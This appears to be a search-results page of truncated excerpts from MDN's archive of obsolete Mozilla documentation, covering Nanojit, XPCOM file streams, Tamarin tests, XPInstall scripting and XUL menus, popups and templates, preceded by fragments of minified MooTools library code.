...:null;},dispose:function(){new cookie(this.key,$merge(this.options,{duration:-1})).write("");return this;}});cookie.write=function(b,c,a){return new cookie(b,a).write(c); };cookie.read=function(a){return new cookie(a).read();};cookie.dispose=function(b,a){return new cookie(b,a).dispose();};var swiff=new class({implements:[options],options:{id:null,height:1,width:1,container:null,properties:{},params:{quality:"high",allowscriptaccess:"always",wmode:"transparent",swliveconnect:true},callbacks:{},vars:{}},toelement:function(){return this.object; },initialize:function(l,m){this.instance="swiff_"+$time();this.setoptions(m);m=this.options;var b=this.id=m.id||this.instance;var a=document.id(m.container); swiff.callbacks[this.instance]={};var e=m.params,g=m.vars,f=m.callbacks;var h=$extend({height:m...
...}});request.html=new class({extends:request,options:{update:false,append:false,evalscripts:true,filter:false},processhtml:function(c){var b=c.match(/<body[^>]*>([\s\s]*?)<\/body>/i); c=(b)?b[1]:c;var a=new element("div");return $try(function(){var d="<root>"+c+"</root>",g;if(browser.engine.trident){g=new activexobject("microsoft.xmldom"); g.async=false;g.loadxml(d);}else{g=new domparser().parsefromstring(d,"text/xml");}d=g.getelementsbytagname("root")[0];if(!d){return null;}for(var f=0,e=d.childnodes.length; f<e;f++){var h=element.clone(d.childnodes[f],true,true);if(h){a.grab(h);}}return a;})||a.set("html",c);},success:function(d){var c=this.options,b=this.response; b.html=d.stripscripts(function(e){b.javascript=e;});var a=this.processhtml(b.html);b.tree=a.childnodes;b.elements=a.getelements...
Nanojit - Archive of obsolete content
er produces on the way from raw source code to machine code. an application using nanojit creates a nanojit::lirbuffer object to hold lir instructions. it creates a nanojit::lirbufwriter object to write instructions to the buffer. then it wraps the lirbufwriter in zero or more other lirwriter objects, all of which implement the same interface as lirbufwriter. this chain of lirwriter objects forms a pipeline for the instructions to pass through. each lirwriter can perform an optimization or other task on the program as it passes through the system and into the lirbuffer. once the instructions are in the lirbuffer, the application calls nanojit::compile() to produce machine code, which is stored in a nanojit::fragment. internally to nanojit, another set of filters operates on the lir as i...
...ut.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); // emit a lir_loop instruction. it won't be reached, but there's // an assertion in nanojit that trips if a fragment doesn't end with // a guard (a bug in nanojit). lins *rec_ins = out.insskip(sizeof(guardrecord) + sizeof(sideexit)); guardrecord *guard = (guardrecord *) rec_ins->payload(); memset(guard, 0, sizeof(*guard)); sideexit *exit = (sideexit *)(guard + 1); guard->exit = exit; guard->exit->target = f; f->lastins = out.insguard(lir_loop, out.insimm(1), rec_ins); // compile the fragment. compile(assm, f, *alloc verbose_only(, fragmento->labels)); if (assm->error() != none) { fprintf(stderr, "error compiling fragment\n"); return 1; } printf("compilation successful.\n")...
...teger. the jit code would have a guard checking this condition(an xt guard), and would return to the interpreter if the condition turns out to be true. the interpreter is then equipped to handle the overflow. hence, guards are needed to prevent certain erroneous behaviour that might result from the assumptions that are generally made while jit is generated. todo: explain guards, guard records, vmsideexit, fragmento, verbosewriter::formatguard... ...
Reading textual data - Archive of obsolete content
in order to read textual data, you need to know which character encoding the data is in. files and network sockets contain bytes, not characters - to give these bytes a meaning, you need to know the character encoding. xxx: document nsiunicharstreamlistener (gecko 1.8) xxx: also document nsistreamlistener here? determining the character encoding of data if you have a network channel (nsichannel), you can try the contentcharset property of it. note that not all channels know the character encoding of the data. ...
...); now you can read string from is: var str = {}; var numchars = is.readstring(4096, str); if (numchars != 0 /* eof */) var read_string = str.value; to read the entire stream and do something with the data: var str = {}; while (is.readstring(4096, str) != 0) { processdata(str.value); } don't forget to close the stream when you're done with it (is.close()). not doing so can cause problems if you try to rename or delete the file at a later time on some platforms. note that you may get less characters than you asked for, especially (but not only) at the end of the file (stream). unsupported byte sequences you can specify what should happen with byte sequences that do not correspond to a valid character. the last (4th) argument to init specifies which character they get replaced w...
...ood choice. if you do not want any replacement, you can specify 0x0000 as replacement character; that way, readstring will throw an exception when reaching unsupported bytes. reading lines the nsiunicharlineinputstream interface provides an easy way to read entire lines from a unichar stream. it can be used like nsilineinputstream, except that it supports non-ascii characters, and has no problems with charsets with embedded nulls (like utf-16 and utf-32). it can be used like this: var charset = /* need to find out what the character encoding is. using utf-8 for this example: */ "utf-8"; var is = components.classes["@mozilla.org/intl/converter-input-stream;1"] .createinstance(components.interfaces.nsiconverterinputstream); // this assumes that fis is the nsiinputstream...
Table Layout Regression Tests - Archive of obsolete content
main profile. select from the regression-test menu the add new list...entry. select %moz_src%/layout/html/tests/block/rtest.lst. execute the baseline test shutdown the layoutdebugger execute mozilla -layoutdebug - p foo >selftest.txt execute the verify test make a note which tests have failed grep 'failed' selftest.txt (these are false positives, quite frequently they indicate reflow problems, pages showing differently when loaded from cache) make your changes to the source, recompile. execute mozilla -layoutdebug - p foo >outputfile.txt execute the verify test make a note which tests have failed grep 'failed' outputfile.txt check how many tests have failed and analyze your results: if the regression tests have failed at the same place as the previous diagnosed false positives =...
...++webshell == 1 ++domwindow == 1 ++webshell == 2 ++domwindow == 2 note: styleverifytree is disabled note: frameverifytree is disabled note: verifyreflow is disabled ++webshell == 3 ++domwindow == 3 running baseline test for e:\moz_src\mozilla\layout\html\tests\block\rtest.lst. writing regression data to e:\moz_src\mozilla\la...
...ion data to e:\moz_src\mozilla\layout\html\tests\block\base\baseline\pre1_html.rgd the second verify run creates first the frame dumps in the verify subdirectories (verify) and compares each frame dump with the corresponding reference frame dump. if they differ in critical points the test fails. a typical part of the verify log would look like: type manifest file: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat +++ javascript debugging hooks installed. ++webshell == 1 ++domwindow == 1 ++webshell == 2 ++domwindow == 2 note: styleverifytree is disabled note: frameverifytree is disabled note: verifyreflow is disabled ++webshell == 3 ++domwindow == 3 running verify test for e:\moz_src\mozilla\layout\html\tests\block\rtest.lst. writing regression data to e:\moz_src\mozilla\layo...
Abc Assembler Tests - Archive of obsolete content
tations under the * license. * * the original code is [open source virtual machine.]. * * the initial developer of the original code is * adobe system incorporated. * portions created by the initial developer are copyright (c) 2009 * the initial developer. all rights reserved. ...
... * alternatively, the contents of this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above. if you wish to allow use of your version of this file only * under the terms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the terms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl. ...
...only * under the terms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the terms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl. if you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the mpl, the gpl or the lgpl. * * ***** end license block ***** */ function main() { getlocal0 pushscope findproperty start pushstring "instructions that start with the letter l" callpropvoid start 1 newfunction .function_id(runtest) getlocal0 call 0 findproperty end callpropvoid end 0 returnvoid } function runtest() { // test null...
Tamarin Acceptance Test Template - Archive of obsolete content
ns under the * license. * * the original code is [open source virtual machine.]. * * the initial developer of the original code is * adobe system incorporated. * portions created by the initial developer are copyright (c) 2005-2010 * the initial developer. all rights reserved. ...
... * alternatively, the contents of this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above. if you wish to allow use of your version of this file only * under the terms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the terms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl. ...
...only * under the terms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the terms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl. if you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the mpl, the gpl or the lgpl. * * ***** end license block ***** */ var section = "test"; // provide a document reference (ie, actionscript section) var version = "as3"; // version of ecmascript or actionscript var title = "test"; // provide ecma section title or a description var bugnumber = ""; starttest(); // leave this alone /** * calls t...
Actionscript Performance Tests - Archive of obsolete content
than 2 all times are displayed in [], faster time is displayed in the output column, and the 95% confidence interval is calculated. the 95% confidence interval is the calculated percentage of the mean value to fall within 95% of the measured results. for example if the mean is 100 and the 95% confidence interval is 2%, 95% of the expected values should fall between 98 and 102. to compare two vms against each other export avm2=<path to 2nd vm> or use --avm2=<path to 2nd vm>. the percentage difference is calculated between the two vms. see the --help usage for more details about performance tests. # to run a group of tests (e.g. sunspider) $ ./runtests.py sunspider/*.as sunspider/as3/*.as test avm metric sunspider/access-binary-trees.as ...
...as test avm 95% conf metric sunspider/access-binary-trees.as 565 1.0% time [565, 586, 573, 577, 567, 567, 579, 576, 565, 585] sunspider/access-fannkuch.as 361 0.3% time [365, 366, 362, 363, 366, 361, 363, 363, 364, 364] ... ...
...uilds $ ./runtests.py --avm2=build2/avmshell sunspider/*.as test avm avm2 %sp metric sunspider/access-binary-trees.as 565 564 0.2 time sunspider/access-fannkuch.as 366 362 1.1 time ... ...
Tamarin-central rev 703:2cee46be9ce0 - Archive of obsolete content
tamarin-central rev 703:2cee46be9ce0 was declared stable on 12/02/08. the announcement sent to tamarin-devel can be read here. testing summary acceptance tests have passed on the following supported platforms: * windows, 32 & 64 bit * mac ox x ppc & intel, 32 bit * linux, 32 bit * windows mobile arm version asc-4200 of the actionscript compiler was used for all tests. performance testsuite time metric the following is a comparison of the current tamarin-central (tc-703) versus the prior build (tc-700) as well as current against the vm in flash player 10. the key takeaway is that the interpreter is much improved. osdefault-jitinterpretedaggressive jit mac (os/x 10.4 ...
...re)tc-703 vs tc-700: 6.0% fastertc-703 vs flash10: 1.7% fastertc-703 vs tc-700: 89.5% fastertc-703 vs flash10: 182.0% fastertc-703 vs tc-700: 6.1% fastertc-703 vs flash10: 1.4% faster performance testuite memory metric the following is a comparison of the current tamarin-central (tc-703) versus the prior build (tc-700). there is no linux comparison due to a linux memstat bug only recently resolved in the tamarin-central branch. osdefault-jitinterpretedaggressive jit mac (os/x 10.4 intel, 2ghz dual core)tc-703 vs tc-700: 2.0% smallertc-703 vs tc-663: 7.8% smallertc-703 vs tc-700: 7.1% largertc-703 vs tc-663: 14.6% largertc-703 vs tc-700: 16.4% largertc-703 vs tc-663: 2.1% larger windows (xp pro, 2.13ghz dual core)tc-7...
... the prior build (tc-700) as well as the current build against the vm in flash player 10. buildsize flash10576k tc-700740k tc-703655k known issues known failures in the acceptance testsuite include: number failures in testsuite when running on linux windows mobile system.privatebytes and -memstats privatebytes always returns 0 amd64 longjmp hack needs reengineering on non-windows platforms different runtime errors when -dforcemir set in acceptance test run arm: math failures running with thumb or arm jit and interp. recursive pcre testcases kills the stack on pocketpc builds ...
The new nsString class implementation (1999) - Archive of obsolete content
rage model. this will allow programmers to use the nsstring api's like a standard char* without incurring the 2-byte per character overhead. this class fully interoperates with nsstring, nsautostring and nsstrimpl. nsistring naturally we will need include an nsistring interface onto the nsstrimpl/nsstring classes. i won't repeat it's interface here since it is basically a restatement (in xpcom terms) of the nsstring interface. usage patterns how to use these classes to increase the portability, thread and process safety of gecko, i suggest the following rules regarding the use of each of our string class derivatives: <center> string class</center> <center> where to use</center> nsstrimpl use to pass strings between modules who have linked t...
...'s. these api's will need to be rewritten using nsstrimpl references instead. as an alternative, programmers can pass nsistrings between modules. i18n issues another concern (mainly of the i18n team) has to do with the use of a 1-byte (ascii) nscstring at all. the i18n team correctly points out that that anarchy will prevail if judicious control over their use is not mandated. the problem stems from assumptions that programmers make regarding ascii strings; the typical assumption being that they will never need to interoperate with code that assumes ucs2 strings. this assumption is nearly always wrong -- and will seriously hinder our ability to localize the source base. it is recognized that (ascii) nscstring's are useful in the following contexts: whenever calling libraries that expe...
...l seriously hinder our ability to localize the source base. it is recognized that (ascii) nscstring's are useful in the following contexts: whenever calling libraries that expect a char* variant whenever maximum memory efficiency is essential i would argue that only the first case is normatively legitimate. the i18n folks will tell you it's better to use a wide string and convert to 1-byte forms for this purpose even though there is a performance penalty for doing so. since i have to acknowledge the idiom, i have made nscstring available but note that it should be used sparingly. memory management a principal enhancement of the new architecture is pluggable memory allocators. all nsstring subclasses provide their own default allocator implementations, but programmers are free to use thei...
URIs and URLs - Archive of obsolete content
his article may be out of date. it was last updated in 2002. overview handling network and locally retrievable resources is a central part of necko. ...
...tax: scheme://username:password@host:port/directory/filebasename.fileextension;param?query#ref for performance reasons the complete spec is stored in escaped form in the nsstandardurl object with pointers (position and length) to each basic segment and for the more global segments like path and prehost for example. necko provides pre written urlparsers for schemes based on hierachical naming systems. escaping to be able to parse an url safely it is sometimes necessary to "escape" certain characters, to hide them from the parser. an escaped character is encoded as a character triplet, consisting of the percent character "%" followed by the two hexadecimal digits representing the octet code. for example, "%20" is the escaped encoding for the us-ascii space character. another quote from rfc 23...
...authority segment, like "http". noauthority these urls have no or a degenerated authority segment, like the "file" scheme. also this parser can identify drives if possible depending on the platform. standard it is not known if an authority segment exists or not, less syntax correction can be applied in this case. noteable differences necko does not support certain deprecated forms of relative urls, based on the following part of rfc 2396: if the scheme component is defined, indicating that the reference starts with a scheme name, then the reference is interpreted as an absolute uri and we are done. otherwise, the reference uri's scheme is inherited from the base uri's scheme component. due to a loophole in prior specifications (rfc1630), some parsers allow the scheme...
Venkman Introduction - Archive of obsolete content
interactive console also allows for execution of arbitrary javascript code. venkman's keyboard shortcuts are the same as leading visual debugging environments, and gdb users should be familiar with venkman's /break, /step, /next, /finish, /frame, and /where commands. on windows, the javascript debugger compares favorably with visual interdev and other large web development tools. on other platforms, including mac os and unix, it is alone in offering this degree of flexibility, depth, and power in a visual debugging environment. starting the debugger the javascript debugger is automatically pre-installed in mozilla 1.x but must be installed separately in firefox and other gecko-based products, such as thunderbird and netscape 7.x. fortunately, the xpinstall technology makes it possible to ...
...g are not adjustable. the call stack view the call stack view is on the left portion of the window by default, at the bottom. when the debugger is stopped, the call stack view displays the list of active functions. the function at the top of the call stack view is the one in which the debugger stopped, the function below it is the caller, below that is the caller's caller, and so on. these items are referred to as stack frames. double-clicking on a stack frame will change the "current" frame. this will cause the source of function to be displayed in the source code view, the local variables view will change to display variables local to the selected stack frame, and script evaluated in the interactive session view will be relative to the selected frame. if you would like to copy the cu...
...ich views are displayed and where in the ui they appear, your preferences are stored and persisted across sessions. loading scripts into the debugger whether or not you start venkman first or the browser component, when the mozilla suite starts up, the javascript engine begins to keep track of and compile all the scripts that are loaded in web pages and in the various mozilla user interfaces themselves. the engine tells venkman about the scripts it knows about, and those scripts are loaded into the "loaded scripts" view in the debugger. if you want to load new scripts in—say from a web page you are trying to troubleshoot—you can do so by simply opening that web page in the regular browser window, at which point the compiler gets the javascript source and populates the loaded scripts w...
Mozilla Web Developer Community - Archive of obsolete content
get news from developer.mozilla.org and connect with developers involved in cross-browser, standards-based web development. ...
....org and connect with developers involved in cross-browser, standards-based web development. ...
...rs involved in cross-browser, standards-based web development. ...
XBL - Archive of obsolete content
xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents. ...
... svg. it's similar in spirit to mozilla's xbl, but there are a few subtle (and not-so-subtle) differences. for example, names of the elements are different. also sxbl lacks some features of xbl, such as bindings inheritance and defining methods/properties on bound elements. xbl 2.0 (w3c candidate recommendation) was developed to address problems found in xbl 1.0 and to allow for implementations in a broader range of web browsers. in 2009 mozilla announced plans to implement xbl2 in future versions of gecko. some differences between sxbl and xbl2 are listed in an article by anne van ke ( seesteren (november, 2005). an overview of differe...
... mailing list newsgroup rss feed ...
getFolder - Archive of obsolete content
it must be in file: url format minus the "file:///" part. for example, mydir = getfolder("file:///", "c|/mysoftco/somedir"); no...
...it must be in file: url format minus the "file:///" part. for example, mydir = getfolder("file:///", "c|/mysoftco/somedir"); note that forward slashes ar...
...n" "win system" the "file:///" form is only valid when the subdirectory parameter is used. it must be in file: url format minus the "file:///" part. for example, mydir = getfolder("file:///", "c|/mysoftco/somedir"); note that forward slashes are used, regardless of the platform. the folders whose names start with "win", "mac", or "unix" are specific to those platforms. you should be careful about using one of those directories, as it makes your installation platform-specific. example to get an object representing the standard plug-ins directory, you would use this call: plugindir = getfolder("plugins"); ...
Learn XPI Installer Scripting by Example - Archive of obsolete content
es the installer script from browser.xpi install package as the basis for discussing xpi installations in general. this installer script is relatively short, but it exercises most of the important features of the xpinstall api, and it can easily be used as a template for other more general software installations. in this article, we use the unix install file, but the installers for all the platforms are quite similar, and you can easily take what you learn here and apply it to installations on any platform that mozilla supports. about browser.xpi browser.xpi is the xpi archive in which the main components of the mozilla browser are archived for installation. mozilla cross-platform installations use the xpi format as a way to organize, compress, and automate software installations and softw...
... that installation (when the installation is actually begun with a call to performinstall at the end), is the communicatorfolder directory defined at line 22 as "program." "program" is one of a short list of keywords that can be used in place of full path names in methods such as addfile. "program" represents the directory where software itself is installed (e.g., c:\program files\ on win32 systems), as opposed to supporting directories like "components", "chrome", or "temporary" (see getfolder in the xpinstall api reference for a list of keywords). registering the software registering software is sometimes a requirement of both the operating system and of the netscape 6 platform. when you install new chrome, for example, like the browser.xpi install does, you need to alert the chrome reg...
...rating system, the xpinstall api provides two special install objects, winprofile and winreg. these two objects provide programmatic access to the windows user profile and the windows registry, respectively. the browser.xpi install script does not demonstrate the use of these objects, but see the xpinstall api reference for more information about registering software with the win32 operating systems and other operating systems. to register new netscape 6-based software (e.g., plug-ins, new components, new themes, new packages) with the chrome registry, you must use the registerchrome function of the install object. if successful, this function returns a "0" and makes entries into theinstalled-chrome.txt file in the chrome subdirectory, which is then used to regenerate the various rdf files ...
Writing to Files - Archive of obsolete content
stream, use nsiscriptableio.newoutputstream(). this method has a number of options to specify text or binary writing, the character set, and whether to append to an existing file or create a new one. to create an input stream, first get a reference to a nsifile, and then use nsiscriptableio.newoutputstream() to open a stream for writing to it. to learn more about file objects, see files and streams. try { var file = io.getfile("desktop", "myinfo.txt"); var stream = io.newoutputstream(file, "text"); } catch (ex) { alert(ex); } this example retrieves a file object on the desktop called 'myinfo.txt' using nsiscriptableio.getfile(). it doesn't matter whether the file exists or not. nsiscriptableio.newoutputstream() is called to create a new output stream, which will be used to write to the...
... supplied value is larger than 8 bits, only the lowest significant 8 bits are written. write16 will write two bytes to the stream. write32 will write four bytes. writefloat will write a floating point value in four bytes. writedouble will write a floating point value in eight bytes. in this example, the write16 method is used to write the value 1000 in two bytes. the write32 method performs a similar operation except that the value 1000 is written using four bytes, padding the unused bits with zeroes. stream.write16(1000); stream.write32(1000); all values are read in big endian form, which means that integers are stored in the file with their higher bits first. for the write16 and write32 methods, the values are always interpreted as unsigned values. if you want to write a negative...
...red in the file with their higher bits first. for the write16 and write32 methods, the values are always interpreted as unsigned values. if you want to write a negative value, use the following calculation first to convert the value: function writenegative(val) { if (val > 0x7fff) val = ~(0x10000 - val - 1); stream.write16(val); } one last method that is useful for writing to binary streams is the writebytearray method, used to write an array of bytes. this method takes an array of values and writes them all in sequence, where each element in the array is written as one byte. stream.writebytearray([25, 77, 46, 8]); this example uses the writebytearray method to write 4 bytes to the stream. ...
invertSelection - Archive of obsolete content
...
... ...
... ...
MenuButtons - Archive of obsolete content
he button alone should just open the menu and not execute a command directly. this works similarly to the menu tag, and would be used to present a set of commands to execute. to create a button of this type, set the type attribute of the button to 'menu'. for instance, in the following example, pressing the 'view' button will open a menu which allows the user to select from a set of radio menuitems. presumably, when one is selected, the application view would be changed accordingly. when using the keyboard, pressing the down key will open the menu while the button is focused. <button type="menu" label="view"> <menupopup> <menuitem label="icons" type="radio" name="view"/> <menuitem label="list" type="radio" name="view"/> <menuitem label="details" type="radio" name="view"/> ...
... all" oncommand="alert('save all'); event.stoppropagation();"/> </menupopup> </toolbarbutton> here, the 'save' button has a type of 'menu-button', so a small arrow button will appear which will open the menu when pressed. pressing the label part of the button will invoke the command event on the button, so the 'save' alert will appear. however, we can associate a different command with the items on the submenu. when the command is fired, it bubbles up through the chain of elements to the top of the document. when the first item on the menu ('save this document') is activated, it will also display the 'save' alert as the command event bubbles up to the button. in this situation, this menuitem performs the same operation as pressing the regular part of the button. the second menu item ('s...
...as with this example, the 'menu-button' type of button is usually used when the menu provides more specific options pertaining to the operation. we might want to extend this example to insert a list of the unsaved documents to the save button menu so that each could be saved individually. ...
OpenClose - Archive of obsolete content
for instance, a menu's popup will open when the menu label is clicked, and a submenu will open when the mouse is hovered over the parent menu element. however, there may be situations when you wish to open a menu manually. the menu element has an open property which may be set to true to open the menu, or false to close the menu. a simple example: somemenu.open = true; this single line of code will open a menu referenced by the variable 'somemenu'. ...
...ith the left mouse button. there isn't a means of replicating this action with the keyboard, so you should always provide an alternate means of accessing the functionality of the menu. this can be done by either placing alternate commands elsewhere in the user interface, or by providing a keyboard shortcut to open the menu. ...
...rd, so you should always provide an alternate means of accessing the functionality of the menu. this can be done by either placing alternate commands elsewhere in the user interface, or by providing a keyboard shortcut to open the menu. once the menu is open, the keyboard can be used to navigate and select items as usual. popups attached using the context attribute are opened when the user performs an action that attempts to open a context menu. this action will vary on each platform, but it general it involves clicking on the element with the right mouse button. on macintosh systems with only one mouse button, a context menu may be opened by either holding down the mouse button or by pressing the control key and clicking the mouse button. on windows, the context menu can also be opened by ...
PopupEvents - Archive of obsolete content
open a context menu, whether by the keyboard or mouse. this event will be fired even for elements that don't have a context menu associated with them. for more information about how to use this event, see context menu events. popupshowing this event is fired on a menupopup, panel or tooltip just before it is made visible. this event is most commonly used to add or adjust items on the popup based on the context. popupshown this event is fired on a menupopup, panel or tooltip once it is visible on screen. popuphiding this event is fired on a menupopup, panel or tooltip once it is about to be hidden. this may happen because the user selected an item from the menu, or it may be because the popup was closed by clic...
...up is about to be displayed, a popupshowing event will fired on the popup. this will occur regardless of how the popup is opened, either from user interaction or from a script calling the openpopup or openpopupatscreen methods. the typical usage of a listener of the popupshowing event is to adjust the content of the popup based on context. for instance, right clicking on an image might display items on a context menu pertaining to images, whereas clicking on a link would display only those items pertaining to links. within the listener for the popupshowing event, you can append to or modify the menu as needed before it is displayed. for examples of the use of the popupshowing event when used with context menus, see hiding and showing menu items based on context. however, this technique can b...
...r isn't added multiple times. finally, we use a similar technique as the openfilemenu function to open the 'open' submenu. the result is a button that opens both the outer menu and the inner menu. the popuphiding event when a popup is closed, the popuphiding event is fired on the popup just before it is removed from the screen. a listener for the popuphiding event can be used to remove or hide items on the popup again, the reverse of the popupshowing event. the popuphiding event is fired regardless of how the popup was hidden, whether because the user selected an item from a menu, or if the user clicked outside the popup, or if the user pressed escape to cancel the menu. the popupshowing and popuphiding event will also be fired as the user rolls the mouse around on a menu bar, showing and hi...
Popup Guide - Archive of obsolete content
menus. menus a menu is used when you wish to have a series of commands that can be activated by the user, but don't want to use the extra space for a button for each command. a menu is normally hidden, and when activated, a popup appears containing the list of commands. the user may select a command and the menu disappears again. a menu is created using the menupopup element. it displays items in a list, can display submenus, and provides keyboard navigation between the items. a menu should only contain menu related elements. context menus a context menu is like a regular menu except that the commands it contains apply to what the user had clicked on to open the context menu. often, depending on what was clicked on, certain commands may be hidden if not applicable to that element. p...
...n to determine if a popup or menu is open, see determining if a popup is open. moving a popup popups may be moved using the moveto method. see moving a popup. resizing a popup the size of a popup may be adjusted using the sizeto method. see resizing a popup. attaching menus to a button to learn about how to open a menu when a button is pressed, see menu buttons. features of items on a menu to learn about the various features of items on a menu, see features of the menuitem element modifying the items on a menu to append, insert and remove elements from a menu, see modifying a menu. events when popups are opened or closed the popupshowing and popupshown events are fired when a menu or popup is opened. the popuphiding and the popuphidden events are fired when a m...
... and the popuphidden events are fired when a menu or popup is closed. for information about these events, see popup events. handling keys within popups for information about how keys are handled within menus and panels, see handling keys within popups. platform specific menu considerations see special per-platform menu considerations for some notes about handling menus on certain platforms, for instance creating the application menu on a macintosh. using popups in extensions extensions may add additional menuitems either to a menu on the menu bar or to the context menu. in addition, an extension may add an entirely new menu. for example, an extension might wish to add a new command on the tools menu to open a dialog specific to the extension. another common task is to create an ...
Filtering - Archive of obsolete content
e data examined for new results. you can view a complete example of this in action. a menulist is used to allow one to select either a specific country, or select all to show all of the photos. when a choice is made, the applyfilter function as shown above is called and the template content gets rebuilt with the desired filter applied. in this example, the menulist is hard-coded to contain the items that we know are in the datasource. next, we'll look at also generating this list using a template. generating a filter menu templates may be used to generate any type of content. it is common to use a template to generate the items on a menu or in a listbox or tree. the syntax is the same regardless of what type of content is being created. in the previous example, we hard-coded a menulist wi...
...art"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> the action body will need to generate a <menuitem> for each result. it will also need to include a <menupopup> around all of the items. ...
...the value attribute is assigned the ?country variable so that the applyfilter function can use this value easily for filtering. the complete example shows this working. note that due to a bug with template generation in menulists when the datasource hasn't loaded yet, you may have to load the example twice to get it work. ...
Introduction - Archive of obsolete content
late is a means of producing a block of content for each result from some query or query-like operation. a good analogy is to the results of a database query. for each result returned from the query, generate some content. the template syntax allows for different rules to generate different content based on particular criteria as well as set attribute values from returned results. some other systems call this databinding. effectively, xul templates are the xul way of doing databinding. each template retrieves its data from a datasource. several types of datasources are supported by default, rdf, xml and sqlite databases, however, processors may be written to support other types of datasources. in xul, the datasource is specified by placing the datasources attribute on an element. typically, ...
...pically, the value will be a uri that identifies the location of the data. for example, for an xml datasource, the url of an xml file is specified. when the xul parser sees an element with this attribute, it constructs a template builder for the element and attaches it to the element. it is expected that there will be a template inside the element. the template builder loads the datasource, performs a query on the datasource and generates content based on the results in combination with the template. the type of datasource is specified with the querytype attribute. the type affects how the datasource is used as well as the syntax for specifying queries. content generated by the template is inserted into the xul just as if you had placed it there yourself. here is an example: <vbox datasource...
...about those bookmarks. <vbox datasources="rdf:bookmarks http://www.xulplanet.com/ds/sample.rdf"> in addition, when using the rdf type for chrome xul (such as in extensions), the datasource rdf:local-store is always included in the composite. the local store is a datasource which is usually used to hold state information such as window sizes, which columns in a tree are showing, and which tree items are open. you can query for any data in the local store in a template though this is rarely done. sometimes, you will want to specify the datasource to be used later, possibly determined dynamically by a script. the special uri rdf:null is used to indicate that you intend no datasources, or an empty datasource. this special uri will also work even for non-rdf types, so feel free to use it when ne...
Rule Compilation - Archive of obsolete content
e query will apply. for example, the first rule might apply to results that represent books, while the second rule might apply only to results that are magazines. this way, different kinds of output can be created based on the specifics of the result. in many cases, you will only have need for one rule, as you want all results to be generated in the same manner. for instance, if generating the items in a listbox, you will typically use only one rule. if only one rule is needed, the rule element is optional. a template without any rules (or, in fact, one with a rule with no query defined) will generate output unconditionally for each result. template syntax outline here is the outline of the template syntax so far. <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http:...
...e template builder process the query and output content. once done, the correct length can be returned. all of this is transparent to the xul developer. when the template builder decides to start generation is determined automatically, and you don't need to do anything special to get this to happen. however, there are two cases where content is not generated automatically: menus and child tree items. content inside a menu is not generated until the menu is opened. this makes sense since the user can't see the contents of the menu until it is open. however, it also means that the dom api usage, such as an attempt to get the number of child nodes as above, will also not include generated items until the menu is opened. this is an important distinction. that means that you will not be able to r...
...enu is opened. this makes sense since the user can't see the contents of the menu until it is open. however, it also means that the dom api usage, such as an attempt to get the number of child nodes as above, will also not include generated items until the menu is opened. this is an important distinction. that means that you will not be able to rely on being able to retrieve the generated menu items until the menu is opened. a similar rule applies for child tree items. the children are not generated until the user presses the twisty to open the container or when a script opens a row. lazy generation comes in handy for menus and trees especially when dealing with recursive items. it would be rather time consuming to generate output for every item in a tree, even for those not displayed, so th...
Template Logging - Archive of obsolete content
for example, if you spell a value wrong, no data may be returned, but the template system won't know that that this was because of a spelling error, or simply that there shouldn't be any data anyway. fortunately, some debugging and logging support is provided with templates that may help. logging template results there are two main ways in which template errors may be detected. the first debugging method involves logging all new results that apply to the template due to the data changing as well as logging results that are changed or removed. ...
...ith the same id is being removed from the first query instead. note that this result is active and an indication is made in parantheses that there is no longer any active query. this indicates that the generated content will be removed. the log may instead indicate that another query is active; this would mean that the content for a different query is now generated. to summarize, the following forms of message may be logged: new active result for query 1 matching rule 2 a new data result has been added. in this example, the result matches the second rule of query 1. the generated content is from rule 2 of query 1. new inactive result for query 2 (overridden by query 1) a new data result has been added for query 2, but an earlier query 1 overrides it. the generated content is still from the ...
... « previous ...
Textbox (XPFE autocomplete) - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. disablehistory obsolete since gecko 2.0 type: boolean note: applies to: thunderbird and seamonkeyif false, an arrow button will appear on the end of the textbox which will open a dropdown menu of all available results. the default value is true, hiding the dropdown button. this attribute only wor...
...editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. maxlength type: integer the maximum number of characters that the textbox allows to be entered. maxrows type: integer the number of rows to show in the results list at a time. a scrollbar will appear so the user can scroll through the remaining items. minresultsforpopup obsolete since gecko 1.9.1 type: integer the minimum number of results that must be returned for the popup to be displayed. the default value is 1. a zero value will always open the popup unless the textbox is empty. this can be used to display additional items that are not autocomplete results. as of gecko 1.9.1, this attribute is now always specifie...
